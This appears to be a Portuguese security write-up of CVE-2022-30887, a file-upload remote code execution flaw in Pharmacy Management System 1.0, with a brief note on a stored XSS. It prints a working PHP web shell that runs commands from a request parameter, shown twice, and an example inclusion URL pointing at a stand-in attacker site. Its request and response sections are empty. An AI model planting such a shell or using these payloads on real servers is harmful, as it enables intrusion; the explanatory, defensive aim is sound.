
Exploit de prova de conceito para CVE-2022-30887, demonstrando execução remota de código via upload de arquivo no Pharmacy Management System 1.0, com orientação de mitigação.
Esta aplicação foi construída por Mayurik O sistema de gestão de farmácia em PHP foi desenvolvido para melhorar a precisão e eficiência das farmácias através de segurança e gestão. Em suma, é uma aplicação de inventário de produtos.
O Pharmacy Management System v1.0 foi descoberto por conter uma vulnerabilidade de execução remota de código (RCE) através do componente "/php_action/editProductImage.php". Esta vulnerabilidade permite que atacantes executem código arbitrário através de um ficheiro de imagem manipulado.
Vulnerabilidades de upload de ficheiro são normalmente uma vulnerabilidade que permite a execução de um script. Funciona quando fazemos upload do ficheiro para o servidor e inserimos um comando no ficheiro enviado. As vulnerabilidades de upload de ficheiro dividem-se em dois tipos;
Esta vulnerabilidade ocorre quando os ficheiros locais no servidor incluem o ficheiro recuperado do utilizador. Os valores recebidos do utilizador devem ser esterilizados.
Exemplo de LFI (Inclusão Local de Ficheiro) ;
<?php
if($_REQUEST['s'])
{
system($_REQUEST['s']);
}
else
phpinfo();?>
Esta vulnerabilidade funciona quando o atacante envia malware de um servidor remoto.
Exemplo de RFI (Inclusão Remota de Ficheiro) ;
"www.victim_site.com/abc.php?test=http://www.attacker_site.com/attack_page"

Exemplo de script php shell;
<?php
if($_REQUEST['s'])
{
system($_REQUEST['s']);
}
else
phpinfo();?>
Pedido;

Resposta;

Pedido;

Resposta;


Além disso, esta vulnerabilidade ainda está ativa na aplicação.
Na mesma página que é "editproduct.php", encontrei xss armazenado
$sql = "UPDATE product SET product_name = '$productName'
Neste bloco de código pode sair do contexto com aspas duplas (")



Espero ter conseguido explicar como a vulnerabilidade de inclusão de ficheiro funciona, o que ou que situação desencadeia esta vulnerabilidade e como prevenir este ataque por parte de atacantes. Obrigado pelo seu precioso tempo.